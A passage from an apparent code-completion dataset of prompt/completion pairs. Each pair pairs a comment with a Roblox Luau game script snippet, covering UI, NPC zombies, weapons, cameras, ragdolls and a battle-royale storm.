script.Parent.PVel\n\nlocal sensitivity = Vector3.new(sens,sens,sens)\n\nlocal slurAngle = 0\nlocal previousDesiredAngle = 0\nlocal spinSpeed = 1 --ratio per second\nlocal rotationOffset = -90 --in degrees\nrotationOffset = math.rad(rotationOffset)\n\nfunction Rotate()\n\tlocal vec = target.CFrame.lookVector\n\tlocal desiredAngle = math.atan2(vec.z, vec.x)\n\tif desiredAngle < -1.57 and previousDesiredAngle > 1.57 then\n\t\tslurAngle = slurAngle - math.pi*2\n\telseif desiredAngle > 1.57 and previousDesiredAngle < -1.57 then\n\t\tslurAngle = slurAngle + math.pi*2\n\tend\n\tslurAngle = slurAngle*(1-spinSpeed) + desiredAngle*spinSpeed\n\tlocal a = slurAngle + rotationOffset\n\tpreviousDesiredAngle = desiredAngle\n\tscript.Parent.F.Rotation = -math.deg(a)\nend\nwhile true do\n\tvel.Value = target.Velocity\n\twait() --REQUIRED while loop\n\tpvel.Value = vel.Value\n\tvel.Value = target.Velocity\n\t\n\tlocal diff = script.Parent.Diff\n\tdiff.Value = ((pvel.Value-vel.Value) * sensitivity)\n\t\n\tlocal xz = ((diff.Value.X)/20)\n\txz = math.min(xz,.5) xz = math.max(xz,-.5)\n\t\n\tlocal yz = ((diff.Value.Z)/20)\n\tyz = math.min(yz,.5) yz = math.max(yz,-.5)\n\tRotate()\n\tscript.Parent.F.Dot.Position = UDim2.new(-xz+.5,-8,(-yz)+.5,-8)\n\t\n\tlocal mag = Vector2.new(diff.Value.X/2,diff.Value.Z/2).Magnitude\n\tif mag < min then mag = 0 end\n\tscript.Parent.TL.Text = math.floor(math.min(mag,max)*100)/100 .. \" G\"\nend\n"} +{"prompt": "--------------------[ MATH FUNCTIONS ]------------------------------------------------", "completion": "\n\nfunction NumLerp(A, B, Alpha)\n\treturn (A + ((B - A) * Alpha))\nend\n\nfunction RAND(Min, Max, Accuracy)\n\tlocal Inverse = 1 / (Accuracy or 1)\n\treturn (math.random(Min * Inverse, Max * Inverse) / Inverse)\nend\n"} +{"prompt": "-- ROBLOX TODO: import correct types", "completion": "\ntype AssymetricMatcherInterface = any\ntype MatcherState = Types.MatcherState\nlocal Utils = require(CurrentModule.utils)\nlocal iterableEquality = Utils.iterableEquality\nlocal subsetEquality = Utils.subsetEquality"} +{"prompt": "--[[script.Parent.Examinar.MouseButton1Down:connect(function()\n\tif Saude.Variaveis.Doer.Value == false and script.Parent.Parent.ExaminarAberto.Visible == false then\n\tSaude.Variaveis.Doer.Value = true\n\tTimer.Barra.Size = UDim2.new(0,0,1,0)\n\tTS:Create(Timer.Barra, TweenInfo.new(5), {Size = UDim2.new(1,0,1,0)}):Play()\n\twait(5)\n\tscript.Parent.Parent.ExaminarAberto.Visible = true\n\tscript.Parent.Parent.ExaminarAberto.Base.DiagnoseHandler.Disabled = false\n\tSaude.Variaveis.Doer.Value = false\n\tend\nend)]]", "completion": "\n\n\nscript.Parent.Airway.MouseButton1Down:connect(function()\n\tif Saude.Variaveis.Doer.Value == false and script.Parent.Parent.Airway.Visible == false then\n\t--Saude.Variaveis.Doer.Value = true\n\t--Timer.Barra.Size = UDim2.new(0,0,1,0)\n\t--TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play()\n\t--wait(.25)\n\tscript.Parent.Parent.Circulation.Visible = false\n\tscript.Parent.Parent.Breathing.Visible = false\n\tscript.Parent.Parent.Airway.Visible = true\n\tscript.Parent.Parent.Resuscitation.Visible = false\n\n\tscript.Parent.Parent.Analgesic.Visible = false\n\t--Saude.Variaveis.Doer.Value = false\n\tend\nend)\n\nscript.Parent.Breathing.MouseButton1Down:connect(function()\n\tif Saude.Variaveis.Doer.Value == false and script.Parent.Parent.Breathing.Visible == false then\n\t--Saude.Variaveis.Doer.Value = true\n\t--Timer.Barra.Size = UDim2.new(0,0,1,0)\n\t--TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play()\n\t--wait(.25)\n\tscript.Parent.Parent.Circulation.Visible = false\n\tscript.Parent.Parent.Breathing.Visible = true\n\tscript.Parent.Parent.Airway.Visible = false\n\tscript.Parent.Parent.Resuscitation.Visible = false\n\t\n\tscript.Parent.Parent.Analgesic.Visible = false\n\t--Saude.Variaveis.Doer.Value = false\n\tend\nend)\n\nscript.Parent.Circulation.MouseButton1Down:connect(function()\n\tif Saude.Variaveis.Doer.Value == false and script.Parent.Parent.Circulation.Visible == false then\n\t--Saude.Variaveis.Doer.Value = true\n\t--Timer.Barra.Size = UDim2.new(0,0,1,0)\n\t--TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play()\n\t--wait(.25)\n\tscript.Parent.Parent.Circulation.Visible = true\n\tscript.Parent.Parent.Breathing.Visible = false\n\tscript.Parent.Parent.Airway.Visible = false\n\tscript.Parent.Parent.Resuscitation.Visible = false\n\t\n\tscript.Parent.Parent.Analgesic.Visible = false\n\t--Saude.Variaveis.Doer.Value = false\n\tend\nend)\n\nscript.Parent.Resuscitation.MouseButton1Down:connect(function()\n\tif Saude.Variaveis.Doer.Value == false and script.Parent.Parent.Resuscitation.Visible == false then\n\t--Saude.Variaveis.Doer.Value = true\n\t--Timer.Barra.Size = UDim2.new(0,0,1,0)\n\t--TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play()\n\t--wait(.25)\n\tscript.Parent.Parent.Circulation.Visible = false\n\tscript.Parent.Parent.Breathing.Visible = false\n\tscript.Parent.Parent.Airway.Visible = false\n\tscript.Parent.Parent.Resuscitation.Visible = true\n\t\n\tscript.Parent.Parent.Analgesic.Visible = false\n\t--Saude.Variaveis.Doer.Value = false\n\tend\nend)\n\nscript.Parent.Analgesic.MouseButton1Down:connect(function()\n\tif Saude.Variaveis.Doer.Value == false and script.Parent.Parent.Analgesic.Visible == false then\n\t--Saude.Variaveis.Doer.Value = true\n\t--Timer.Barra.Size = UDim2.new(0,0,1,0)\n\t--TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play()\n\t--wait(.25)\n\tscript.Parent.Parent.Circulation.Visible = false\n\tscript.Parent.Parent.Breathing.Visible = false\n\tscript.Parent.Parent.Airway.Visible = false\n\tscript.Parent.Parent.Resuscitation.Visible = false\n\t\n\tscript.Parent.Parent.Analgesic.Visible = true\n\t--Saude.Variaveis.Doer.Value = false\n\tend\nend)\n\n"} +{"prompt": "-- when player is added", "completion": "\ngame.Players.PlayerAdded:Connect( function(Player)\n\tPlayer.CharacterAdded:Connect( function(Char)\n\t\t-- get character geometry \n\t\tfor _,part in pairs(Char:GetChildren()) do\n\t\t\tif( part:IsA(\"BasePart\") or part:IsA(\"MeshPart\")) then\n\t\t\t\t-- set collision group\n\t\t\t\tPhysicsService:SetPartCollisionGroup(part,\"Player\")\n\t\t\tend\n\t\tend\n\tend)\nend)\n\n"} +{"prompt": "-- Detect mode", "completion": "\nMode = Plugin and 'Plugin' or 'Tool';\n"} +{"prompt": "--[[*\n * Compile a regular expression from the `state` object returned by the\n * [parse()](#parse) method.\n *\n * @param {Object} `state`\n * @param {Object} `options`\n * @param {Boolean} `returnOutput` Intended for implementors, this argument allows you to return the raw output from the parser.\n * @param {Boolean} `returnState` Adds the state to a `state` property on the returned regex. Useful for implementors and debugging.\n * @return {RegExp}\n * @api public\n ]]", "completion": "\n\npicomatch.compileRe = function(state: Object, options: Object?, returnOutput_: boolean?, returnState_: boolean?): RegExp\n\tlocal returnOutput = returnOutput_ or false\n\tlocal returnState = returnState_ or false\n\n\tif returnOutput == true then\n\t\treturn state.output\n\tend\n\n\tlocal opts: Object = options or {}\n\tlocal prepend = if Boolean.toJSBoolean(opts.contains) then \"\" else \"^\"\n\tlocal append = if Boolean.toJSBoolean(opts.contains) then \"\" else \"$\"\n\n\tlocal source = (\"%s(?:%s)%s\"):format(prepend, tostring(state.output), append)\n\tif typeof(state) == \"table\" and state.negated == true then\n\t\tsource = (\"^(?!%s).*$\"):format(source)\n\tend\n\n\tlocal regex = picomatch.toRegex(source, options)\n\tif returnState == true then\n\t\tregex.state = state\n\tend\n\n\treturn regex\nend\n"} +{"prompt": "-- Dependencies", "completion": "\nlocal WeaponData = script.Parent:WaitForChild(\"WeaponData\")\nlocal WeaponsSystemFolder = script.Parent\nlocal WeaponTypes = WeaponsSystemFolder:WaitForChild(\"WeaponTypes\")\nlocal Libraries = WeaponsSystemFolder:WaitForChild(\"Libraries\")\nlocal ShoulderCamera = require(Libraries:WaitForChild(\"ShoulderCamera\"))\nlocal WeaponsGui = require(Libraries:WaitForChild(\"WeaponsGui\"))\nlocal SpringService = require(Libraries:WaitForChild(\"SpringService\"))\nlocal ancestorHasTag = require(Libraries:WaitForChild(\"ancestorHasTag\"))\nShoulderCamera.SpringService = SpringService\n\nlocal Configuration = WeaponsSystemFolder:WaitForChild(\"Configuration\")\nlocal ConfigurationValues = {\n\tSprintEnabled = Configuration:WaitForChild(\"SprintEnabled\"),\n\tSlowZoomWalkEnabled = Configuration:WaitForChild(\"SlowZoomWalkEnabled\"),\n}\n\nlocal WEAPON_TAG = \"WeaponsSystemWeapon\"\nlocal WEAPON_TYPES_LOOKUP = {}\n\nlocal REMOTE_EVENT_NAMES = {\n\t\"WeaponFired\",\n\t\"WeaponHit\",\n\t\"WeaponReloadRequest\",\n\t\"WeaponReloaded\",\n\t\"WeaponReloadCanceled\",\n\t\"WeaponActivated\"\n}\nlocal REMOTE_FUNCTION_NAMES = {}\n"} +{"prompt": "--[[\n\tState\n]]", "completion": "\n\nlocal startPosition = maid.instance.PrimaryPart.Position\n"} +{"prompt": "--[[Wheel Alignment]]", "completion": "\n\t--[Don't physically apply alignment to wheels]\n\t--[Values are in degrees]\n\tTune.FCamber\t\t= -15\n\tTune.RCamber\t\t= -15\n\tTune.FToe\t\t\t= 0\n\tTune.RToe\t\t\t= 0\n\t"} +{"prompt": "-----------------\n--| Constants |--\n-----------------", "completion": "\n\nlocal BLAST_RADIUS = 50 -- Blast radius of the explosion\nlocal BLAST_DAMAGE = 125 -- Amount of damage done to players\nlocal BLAST_FORCE = 0 -- Amount of force applied to parts\n\nlocal IGNORE_LIST = {rocket = 1, handle = 1, effect = 1, water = 1} -- Rocket will fly through things named these"} +{"prompt": "--Sam", "completion": "\nwait (1)\nlocal larm=script.Parent:FindFirstChild(\"Left Arm\")\nlocal rarm=script.Parent:FindFirstChild(\"Right Arm\")\nlocal head=script.Parent:FindFirstChild(\"Head\")\n\nlocal health=8000 ---zombies health\nlocal speed=14 --zombies walkspeed\n\nlocal a = 0\nfunction findNearestTorso(pos) --thanks miked for this function <3\n\tlocal list = game.Workspace:children()\n\tlocal torso = nil\n\tlocal dist = script.Range.Value\n\tlocal temp = nil\n\tlocal human = nil\n\tlocal temp2 = nil\n\tfor x = 1, #list do\n\t\ttemp2 = list[x]\n\t\tif (temp2.className == \"Model\") and (temp2 ~= script.Parent) then\n\t\t\ttemp = temp2:findFirstChild(\"Torso\")\n\t\t\thuman = temp2:findFirstChild(\"Humanoid\")\n\t\t\tif (temp ~= nil) and (human ~= nil) and (human.Health > 0) then\n\t\t\t\tif (temp.Position - pos).magnitude < dist then\n\t\t\t\t\ttorso = temp\n\t\t\t\t\tdist = (temp.Position - pos).magnitude\n\t\t\t\t\ta = a + 1\n\t\t\t\t\tif dist <= 3 and a == 10 then\n\t\t\t\t\t\tscript.Parent.Torso[\"Right Shoulder\"].MaxVelocity = 100000 ---attack anim <3\n\t\t\t\t\t\tscript.Parent.Torso[\"Left Shoulder\"].MaxVelocity = 100000\n\t\t\t\t\t\tscript.Parent.Torso[\"Right Shoulder\"].DesiredAngle = math.pi / 4 * 3\n\t\t\t\t\t\tscript.Parent.Torso[\"Left Shoulder\"].DesiredAngle = math.pi / 4 * -3\n\t\t\t\t\t\tscript.Parent.Torso[\"Right Shoulder\"].CurrentAngle = math.pi / 4 * 3\n\t\t\t\t\t\tscript.Parent.Torso[\"Left Shoulder\"].CurrentAngle = math.pi / 4 * -3\n\t\t\t\t\t\twait()\n\t\t\t\t\t\tscript.Parent.Torso[\"Right Shoulder\"].MaxVelocity = 0.15\n\t\t\t\t\t\tscript.Parent.Torso[\"Left Shoulder\"].MaxVelocity = 0.15\n\t\t\t\t\tend\n\t\t\t\t\tif a == 10 then\n\t\t\t\t\ta = 0\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\treturn torso\nend\n\nfunction Hit(hit)\nlocal human = hit.Parent:FindFirstChild(\"Humanoid\")\nif human and script.Parent.Zombie.Health>0 then\nhuman.Health= human.Health-script.Damage.Value\nend\nend\nlarm.Touched:connect(Hit)\nrarm.Touched:connect(Hit)\nhead.Touched:connect(Hit)\n\nSpawn(function()\nwhile wait(0.5) do\nlocal target = findNearestTorso(script.Parent.Torso.Position)\nif target then\nscript.Parent.Zombie:MoveTo(target.Position, target)\nend\nend\nend)\n\nscript.Parent.Zombie.MaxHealth=health\nscript.Parent.Zombie.Health=script.Parent.Zombie.MaxHealth\nscript.Parent.Zombie.WalkSpeed=speed\n\n\nscript.Parent.Zombie.Died:connect(function()"} +{"prompt": "--[=[\n\t@param instance Instance\n\t@return RBXScriptConnection\n\tAttaches the trove to a Roblox instance. Once this\n\tinstance is removed from the game (parent or ancestor's\n\tparent set to `nil`), the trove will automatically\n\tclean up.\n\n\t:::caution\n\tWill throw an error if `instance` is not a descendant\n\tof the game hierarchy.\n\t:::\n]=]", "completion": "\nfunction Trove:AttachToInstance(instance: Instance)\n\tif self._cleaning then\n\t\terror(\"Cannot call trove:AttachToInstance() while cleaning\", 2)\n\telseif not instance:IsDescendantOf(game) then\n\t\terror(\"Instance is not a descendant of the game hierarchy\", 2)\n\tend\n\treturn self:Connect(instance.Destroying, function()\n\t\tself:Destroy()\n\tend)\nend\n"} +{"prompt": "--[[\n\tCameraUtils - Math utility functions shared by multiple camera scripts\n\t2018 Camera Update - AllYourBlox\n--]]", "completion": "\n\nlocal CameraUtils = {}\n\nlocal FFlagUserCameraToggle do\n\tlocal success, result = pcall(function()\n\t\treturn UserSettings():IsUserFeatureEnabled(\"UserCameraToggle\")\n\tend)\n\tFFlagUserCameraToggle = success and result\nend\n\nlocal function round(num)\n\treturn math.floor(num + 0.5)\nend\n"} +{"prompt": "--\t====================\n--\tMINIGUN\n--\tMake a gun delay before/after firing\n--\t====================", "completion": "\n\n\t\tMinigunEnabled = false;\n\t\tDelayBeforeFiring = 1;\n\t\tDelayAfterFiring = 1;\n\t\t"} +{"prompt": "--[[ Local Functions ]]", "completion": "--\nfunction MouseLockController:OnMouseLockToggled()\n\tself.isMouseLocked = not self.isMouseLocked\n\n\tif self.isMouseLocked then\n\t\tlocal cursorImageValueObj: StringValue = script:FindFirstChild(\"CursorImage\") :: StringValue\n\t\tif cursorImageValueObj and cursorImageValueObj:IsA(\"StringValue\") and cursorImageValueObj.Value then\n\t\t\tself.savedMouseCursor = Mouse.Icon\n\t\t\tMouse.Icon = cursorImageValueObj.Value\n\t\telse\n\t\t\tif cursorImageValueObj then\n\t\t\t\tcursorImageValueObj:Destroy()\n\t\t\tend\n\t\t\tcursorImageValueObj = Instance.new(\"StringValue\")\n\t\t\tcursorImageValueObj.Name = \"CursorImage\"\n\t\t\tcursorImageValueObj.Value = DEFAULT_MOUSE_LOCK_CURSOR\n\t\t\tcursorImageValueObj.Parent = script\n\t\t\tself.savedMouseCursor = Mouse.Icon\n\t\t\tMouse.Icon = DEFAULT_MOUSE_LOCK_CURSOR\n\t\tend\n\telse\n\t\tif self.savedMouseCursor then\n\t\t\tMouse.Icon = self.savedMouseCursor\n\t\t\tself.savedMouseCursor = nil\n\t\tend\n\tend\n\n\tself.mouseLockToggledEvent:Fire()\nend\n\nfunction MouseLockController:DoMouseLockSwitch(name, state, input)\n\tif state == Enum.UserInputState.Begin then\n\t\tself:OnMouseLockToggled()\n\t\treturn Enum.ContextActionResult.Sink\n\tend\n\treturn Enum.ContextActionResult.Pass\nend\n\nfunction MouseLockController:BindContextActions()\n\tContextActionService:BindActionAtPriority(CONTEXT_ACTION_NAME, function(name, state, input)\n\t\treturn self:DoMouseLockSwitch(name, state, input)\n\tend, false, MOUSELOCK_ACTION_PRIORITY, unpack(self.boundKeys))\nend\n\nfunction MouseLockController:UnbindContextActions()\n\tContextActionService:UnbindAction(CONTEXT_ACTION_NAME)\nend\n\nfunction MouseLockController:IsMouseLocked(): boolean\n\treturn self.enabled and self.isMouseLocked\nend\n\nfunction MouseLockController:EnableMouseLock(enable: boolean)\n\tif enable ~= self.enabled then\n\n\t\tself.enabled = enable\n\n\t\tif self.enabled then\n\t\t\t-- Enabling the mode\n\t\t\tself:BindContextActions()\n\t\telse\n\t\t\t-- Disabling\n\t\t\t-- Restore mouse cursor\n\t\t\tif Mouse.Icon~=\"\" then\n\t\t\t\tMouse.Icon = \"\"\n\t\t\tend\n\n\t\t\tself:UnbindContextActions()\n\n\t\t\t-- If the mode is disabled while being used, fire the event to toggle it off\n\t\t\tif self.isMouseLocked then\n\t\t\t\tself.mouseLockToggledEvent:Fire()\n\t\t\tend\n\n\t\t\tself.isMouseLocked = false\n\t\tend\n\n\tend\nend\n\nreturn MouseLockController\n"} +{"prompt": "--// All global vars will be wiped/replaced except script\n--// All guis are autonamed client.Variables.CodeName..gui.Name", "completion": "\n\nreturn function(data)\n\tlocal gui = client.UI.Prepare(script.Parent.Parent)\n\tlocal ques = gui.Frame.Main.Question\n\tlocal yes = gui.Frame.Main.Yes\n\tlocal no = gui.Frame.Main.No\n\t\n\tlocal question = data.Question\n\tlocal gTable = data.gTable\n\tlocal ans\n\t\n\tques.Text = question\n\t\n\tyes.MouseButton1Click:connect(function()\n\t\tans = \"Yes\"\n\t\tgui:Destroy()\n\tend)\n\t\n\tno.MouseButton1Click:connect(function()\n\t\tans = \"No\"\n\t\tgui:Destroy()\n\tend)\n\t\n\tgTable:Ready()\n\trepeat wait(0.1) until ans\n\treturn ans\nend\n"} +{"prompt": "-- Made by Crozur", "completion": "\nscript.Parent.BillboardGui.Enabled = false\n\ngame.Players.PlayerAdded:Connect(function(plr)\n\tif plr.Name == (\"NAME HERE\") then -- Insert your name in between the \"\"\n\t\twait(3) -- waits just in case player isn't loaded\n\t\tscript.Parent.BillboardGui.Enabled = true -- makes it visible\n\t\tscript.Parent.BillboardGui.Parent = plr.Character.Head -- Puts the title above your head, you can change the offset under BillboardGui.StudsOffset\n\tend\nend)\n"} +{"prompt": "-- Checks if the player is new, otherwise will populate with saved data", "completion": "\nPlayers.PlayerAdded:Connect(function(player)\n\tlocal data\n\tlocal success = pcall(function()\n\t\tdata = AllPlayers:GetAsync(player.UserId)\n\tend)\n\n\tif success then\n\t\tlocal status = \"\"\n\n\t\tif not data then\n\t\t\tAllPlayers:SetAsync(player.UserId, true)\n\t\telse\n\t\t\tstatus = Statuses:GetAsync(player.UserId)\n\t\tend\n\n\t\tplayer:SetAttribute(\"status\", status)\n\tend\nend)\n"} +{"prompt": "--[[\nlocal ss = script.Sound:Clone()\nss.Parent = Cha.Torso\nss.Pitch = math.random(11, 13)/10\nss:Play()]]", "completion": "--\nTorso = Cha.Torso\ncoroutine.resume(coroutine.create(function()\nlocal direction = Instance.new(\"BodyGyro\", Cha.Torso)\ndirection.maxTorque = Vector3.new(math.huge, math.huge, math.huge)\ndirection.cframe = CFrame.new(Cha.Torso.Position, mouse.Hit.p)\nrepeat wait()\nif Cha.Torso:FindFirstChild(\"BodyGyro\") then\ndirection.cframe = CFrame.new(Cha.Torso.Position, mouse.Hit.p)*CFrame.Angles(math.rad(-90),0,0)\nCha.Torso.Velocity = (direction.cframe*CFrame.Angles(math.rad(90),0,0)).lookVector.unit * 50\nend\nuntil db == false\nend))\nwait(15)\nFlyOff()\nend"} +{"prompt": "-- given an Instance and a property-value table subset\n-- returns true if all property-values in the subset table exist in the Instance\n-- and returns false otherwise\n-- returns nil for undefined behavior", "completion": "\nlocal function instanceSubsetEquality(instance: any, subset: any): boolean | nil\n\tlocal function subsetEqualityWithContext(seenReferences)\n\t\treturn function(localInstance, localSubset)\n\t\t\tseenReferences = seenReferences or {}\n\n\t\t\tif getType(localInstance) ~= \"Instance\" or not isObjectWithKeys(localSubset) then\n\t\t\t\treturn nil\n\t\t\tend\n\n\t\t\tlocal instanceProperties = getRobloxProperties(localInstance.ClassName)\n\t\t\tlocal instanceChildren = {}\n\t\t\tfor _, v in ipairs(localInstance:getChildren()) do\n\t\t\t\tinstanceChildren[v.Name] = true\n\t\t\tend\n\n\t\t\treturn Array.every(Object.keys(localSubset), function(prop)\n\t\t\t\tlocal subsetVal = localSubset[prop]\n\t\t\t\tif isObjectWithKeys(subsetVal) then\n\t\t\t\t\t-- return false for circular references\n\t\t\t\t\tif seenReferences[subsetVal] then\n\t\t\t\t\t\treturn false\n\t\t\t\t\tend\n\t\t\t\t\tseenReferences[subsetVal] = true\n\t\t\t\tend\n\t\t\t\tlocal result = localInstance ~= nil\n\t\t\t\t\tand (table.find(instanceProperties, prop) ~= nil or instanceChildren[prop] ~= nil)\n\t\t\t\t\tand equals(localInstance[prop], subsetVal, { subsetEqualityWithContext(seenReferences) })\n\n\t\t\t\tseenReferences[subsetVal] = nil\n\t\t\t\treturn result\n\t\t\tend)\n\t\tend\n\tend\n\n\tlocal inner = subsetEqualityWithContext()\n\n\tif inner then\n\t\treturn inner(instance, subset)\n\tend\n\treturn inner\nend\n"} +{"prompt": "-- # CODE BELOW # --\n-- ^ Do not change anything else", "completion": "\n\nlocal GoreFolder = game.ReplicatedStorage[\"Gore by Leveled Development\"];\nlocal Core = require(GoreFolder.Modules.Core);\n\nlocal Character = script.Parent.Parent;\nlocal Humanoid = Character:WaitForChild(\"Humanoid\");\n\nHumanoid.BreakJointsOnDeath = false;\nHumanoid.Died:Connect(function()\n\tCore.Ragdoll(\"\", Character);\nend);\n"} +{"prompt": "--[[\n\t[Horizontal and Vertical limits for head and body tracking.]\n\t[Setting to 0 negates tracking, setting to 1 is normal tracking, and setting to anything higher than 1 goes past real life head/body rotation capabilities.]\n--]]", "completion": "\nlocal HeadHorFactor = 1\nlocal HeadVertFactor = 1\nlocal BodyHorFactor = 1.5\nlocal BodyVertFactor = 1.4\n"} +{"prompt": "----- lock -----", "completion": "\n\nlockInteractive.ClickDetector.MouseClick:Connect(function()\n\tif not doorOpen and not changingState then\n\t\tchangingState = true\n\t\tif doorLocked then\n\t\t\tdoorLocked = false\n\t\t\tinteractive.ClickDetector.MaxActivationDistance = 12\n\t\t\tfor i = 1, 5 do\n\t\t\t\tlock.CFrame = lock.CFrame * CFrame.new(0,0.02,0)\n\t\t\t\thandle.CFrame = handle.CFrame * CFrame.Angles(math.rad(-18),0,0)\n\t\t\t\twait()\n\t\t\tend\n\t\telse\n\t\t\tdoorLocked = true\n\t\t\tinteractive.ClickDetector.MaxActivationDistance = 0\n\t\t\tfor i = 1, 5 do\n\t\t\t\tlock.CFrame = lock.CFrame * CFrame.new(0,-0.02,0)\n\t\t\t\thandle.CFrame = handle.CFrame * CFrame.Angles(math.rad(18),0,0)\n\t\t\t\twait()\n\t\t\tend\n\t\tend\n\t\tchangingState = false\n\tend\nend)\n"} +{"prompt": "--Loop For Making Rays For The Bullet's Trajectory", "completion": "\nfor i = 1, 30 do\n\tlocal thisOffset = offset + Vector3.new(0, yOffset*(i-1), 0)\n\tlocal travelRay = Ray.new(point1,thisOffset)\n\tlocal hit, position = workspace:FindPartOnRay(travelRay, parts.Parent)\n\n\tlocal distance \t\t= (position - point1).magnitude\n\tround.Size\t\t\t\t= Vector3.new(.6, distance, .6)\n\tround.CFrame\t\t\t= CFrame.new(position, point1)\n\t\t\t\t\t\t\t\t* CFrame.new(0, 0, -distance/2)\n\t\t\t\t\t\t\t\t* CFrame.Angles(math.rad(90),0,0)\n\tround.Parent\t\t\t= workspace\n\tpoint1\t\t\t\t\t= point1 + thisOffset\n\t\n\t\n\n\tif hit then\n\t\tround:remove()\n\t\tlocal e = Instance.new(\"Explosion\")\n\t\te.BlastRadius = 5\n\t\te.BlastPressure = 0\n\t\te.Position = position\n\t\te.Parent = workspace\n\t\te.DestroyJointRadiusPercent = 0\n\t\t\n\t\t\n\n\t\t\tif hit and hit.Parent then\n\t\tif hit.Parent:FindFirstChild(\"Humanoid\") then\n\t\t\treturn hit.Parent.Humanoid\n\t\telseif hit.Parent.Parent:FindFirstChild(\"Humanoid\") then\n\t\t\treturn hit.Parent.Parent.Humanoid\n\t\t\n\t\telseif (hit.Parent.Name == \"Hull\") or (hit.Parent.Name == \"Turret\") or (hit.Parent.Name == \"Gun\") or (hit.Parent.Name == \"Parts\") then\n\t\t\tprint(\"You Have Damaged a Vehicle\")\n\t\t\tlocal HitSound = hit.Parent:findFirstChild(\"Pen\"):Clone()\n\t\t\tHitSound.Parent = hit\n\t\t\tHitSound:Play()\n\t\t\thit.Parent.Parent:findFirstChild(\"Damage\").Value = hit.Parent.Parent:findFirstChild(\"Damage\").Value - dealingdamage\n\t\t\tif hit.Parent.Parent:findFirstChild(\"Damage\").Value<1 and hit.Parent.Parent:findFirstChild(\"Destroyed\").Value == false then\n\t\t\t\t\n\t\t\tlocal DestroyScript = hit.Parent.Parent:findFirstChild(\"DestroyScript\"):clone()\n\t\t\tDestroyScript.Parent = hit.Parent.Parent\n\t\t\tDestroyScript.Disabled = false\t\t\n\t\t\n\t\t\tprint(\"Vehicle Disabled\")\n\t\t\n\t\t\n\t\t\tend\n\n\t\telseif hit.Name == \"Left Arm\" or hit.Name == \"Left Leg\" or hit.Name == \"Right Arm\" or hit.Name == \"Right Leg\" or hit.Name == \"Torso\" or hit.Name == \"HumanoidRootPart\" then\n\t\t\thit.Parent:findFirstChild(\"Humanoid\").Health = hit.Parent:findFirstChild(\"Humanoid\").Health - dealingdamage\n\t\t\tprint(\"Direct Hit a Player lmao\")\n\t\t\t\n\t\telseif hit.Parent.Name == \"Face\" then\n\t\t\thit.Parent.Parent:findFirstChild(\"Humanoid\").Health = hit.Parent.Parent:findFirstChild(\"Humanoid\").Health - dealingdamage\n\t\t\tprint(\"Direct Hit a Morph of a Player lmao\")\n\t\t\t\n\t\telseif (hit.Parent.Name == \"Full\") or (hit.Parent.Name == \"Damage\") then\n\t\t\thit.Parent.Parent:FindFirstChild(\"Stats\").Health.Value = hit.Parent.Parent:FindFirstChild(\"Stats\").Health.Value - BuildDamage\t\t\n\t\t\t\n\t\tend\n\t\tend\n\n\t\t\n\n\t\tlocal players = game.Players:getChildren()\n\t\tfor i = 1, #players do\n\t\t\n\t\t\t\n\t\t\t-- if players[i].TeamColor ~= script.Parent.Parent.Tank.Value then --if he's not an ally\n\t\t\t\tcharacter = players[i].Character\n\t\t\t\ttorso = character:findFirstChild'Torso'\n\t\t\t\tif character and torso then\n\t\t\t\t\t\t\n\t\t\t\t\t\ttorsoPos = torso.Position\n\t\t\t\t\t\torigPos = round.Position\n\t\t\t\t\t\t\n\t\t\t\t\t\tlocal ray = Ray.new(origPos, torsoPos-origPos)\n\t\t\t\t\t\tlocal hit, position = game.Workspace:FindPartOnRayWithIgnoreList(ray,ignoreList)\n\t\t\t\t\t\tif hit then\n\t\t\t\t\t\t\tif hit.Parent == character then\n\t\t\t\t\t\t\t\thuman = hit.Parent:findFirstChild(\"Humanoid\")\n\t\t\t\t\t\t\t\thuman2 = hit.Parent.Parent:findFirstChild(\"Humanoid\")\n\t\t\t\t\t\t\t\tif human then\n\t\t\t\t\t\t\t\t\tdistance = (position-origPos).magnitude"} +{"prompt": "------ TESTING:\n--local function _damageDestroyWithDamage()\n--\tlocal model = script.Parent", "completion": "\n\t"} +{"prompt": "--[[\n\tLogging\n]]", "completion": "\n\nLog.Warn.testing(\"Starting client log pump\")\n\nspawn(function()\n\twhile true do\n\t\tLog.ProcessQueue()\n\t\twait(1)\n\tend\nend)\n"} +{"prompt": "-- End of barrier visualization functions", "completion": "\n\nlocal function _update(dt)\n\tif not _state then\n\t\treturn\n\tend\n\n\tlocal time = _getAdjustedTime(_serverTime.Value)\n\n\t-- Update effects based on the calculated perimiter and the local player's proximity to it.\n\tlocal t = math.min(1, (time - _state.transition_time) / _state.transition_length)\n\tlocal stormPos = Util.lerp(_state.current_pos, _state.target_pos, t)\n\tlocal stormRadius = Util.lerp(_state.current_radius, _state.target_radius, t)\n\n\t-- Tween the storm position and radius to make things smooth\n\tlocal timeUntilTarget = _state.transition_length - (time - _state.transition_time)\n\t-- Tween position\n\tif stormPosTween ~= nil and stormPos == _state.target_pos then\n\t\tstormPosTween:Cancel()\n\t\tstormPosTween:Destroy()\n\t\tstormPosTween = nil\n\tend\n\tif stormPosTween == nil then\n\t\tif not stormPosSetToState then\n\t\t\tstormPosTweenValue.Value = stormPos\n\t\t\tstormPosSetToState = true\n\t\tend\n\n\t\tif stormPos ~= _state.target_pos then\n\t\t\tlocal tweenInfo = TweenInfo.new(timeUntilTarget, Enum.EasingStyle.Linear)\n\t\t\tlocal goal = {}\n\t\t\tgoal.Value = _state.target_pos\n\t\t\tstormPosTween = TweenService:Create(stormPosTweenValue, tweenInfo, goal)\n\t\t\tstormPosTween:Play()\n\t\t\tstormPosSetToState = false\n\t\tend\n\tend\n\t-- Tween radius\n\tif stormRadiusTween ~= nil and stormRadius == _state.target_radius then\n\t\tstormRadiusTween:Cancel()\n\t\tstormRadiusTween:Destroy()\n\t\tstormRadiusTween = nil\n\tend\n\tif stormRadiusTween == nil then\n\t\tif not stormRadiusSetToState then\n\t\t\tstormRadiusTweenValue.Value = stormRadius\n\t\t\tstormRadiusSetToState = true\n\t\tend\n\n\t\tif stormRadius ~= _state.target_radius then\n\t\t\tlocal 